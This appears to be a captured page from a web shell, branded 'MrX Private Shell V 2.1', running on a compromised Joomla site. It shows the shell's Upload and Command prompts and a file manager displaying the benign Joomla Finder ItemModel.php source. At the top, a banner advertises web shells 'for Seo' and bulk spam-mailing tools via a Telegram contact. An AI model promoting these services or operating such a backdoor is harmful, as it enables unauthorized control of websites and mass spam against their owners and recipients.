__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Administrator\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\Database\ParameterType;

/**
 * Index Item model class for Finder.
 *
 * @since  5.0.0
 */
class ItemModel extends BaseDatabaseModel
{
    /**
     * Stock method to auto-populate the model state.
     *
     * @return  void
     *
     * @since   5.0.0
     */
    protected function populateState()
    {
        // Get the pk of the record from the request.
        $pk = Factory::getApplication()->getInput()->getInt('id');
        $this->setState('item.link_id', $pk);
    }

    /**
     * Get a finder link object
     *
     * @return  object
     *
     * @since   5.0.0
     */
    public function getItem()
    {
        $link_id = (int) $this->getState('item.link_id');
        $db      = $this->getDatabase();
        $query   = $db->getQuery(true)
            ->select('*')
            ->from($db->quoteName('#__finder_links', 'l'))
            ->where($db->quoteName('l.link_id') . ' = :link_id')
            ->bind(':link_id', $link_id, ParameterType::INTEGER);

        $db->setQuery($query);

        return $db->loadObject();
    }

    /**
     * Get terms associated with a finder link
     *
     * @return  object[]
     *
     * @since   5.0.0
     */
    public function getTerms()
    {
        $link_id = (int) $this->getState('item.link_id');
        $db      = $this->getDatabase();
        $query   = $db->getQuery(true)
            ->select('t.*, l.*')
            ->from($db->quoteName('#__finder_links_terms', 'l'))
            ->leftJoin($db->quoteName('#__finder_terms', 't') . ' ON ' . $db->quoteName('t.term_id') . ' = ' . $db->quoteName('l.term_id'))
            ->where($db->quoteName('l.link_id') . ' = :link_id')
            ->order('l.weight')
            ->bind(':link_id', $link_id, ParameterType::INTEGER);

        $db->setQuery($query);

        return $db->loadObjectList();
    }

    /**
     * Get taxonomies associated with a finder link
     *
     * @return  \stdClass[]
     *
     * @since   5.0.0
     */
    public function getTaxonomies()
    {
        $link_id = (int) $this->getState('item.link_id');
        $db      = $this->getDatabase();
        $query   = $db->getQuery(true)
            ->select('t.*, m.*')
            ->from($db->quoteName('#__finder_taxonomy_map', 'm'))
            ->leftJoin($db->quoteName('#__finder_taxonomy', 't') . ' ON ' . $db->quoteName('t.id') . ' = ' . $db->quoteName('m.node_id'))
            ->where($db->quoteName('m.link_id') . ' = :link_id')
            ->order('t.title')
            ->bind(':link_id', $link_id, ParameterType::INTEGER);

        $db->setQuery($query);

        return $db->loadObjectList();
    }
}

Filemanager

Name Type Size Permission Actions
FilterModel.php File 3.75 KB 0664
FiltersModel.php File 4.31 KB 0664
IndexModel.php File 14.12 KB 0664
IndexerModel.php File 1.14 KB 0664
ItemModel.php File 2.92 KB 0664
MapsModel.php File 12.18 KB 0664
SearchesModel.php File 4.7 KB 0664
StatisticsModel.php File 2.62 KB 0664
Filemanager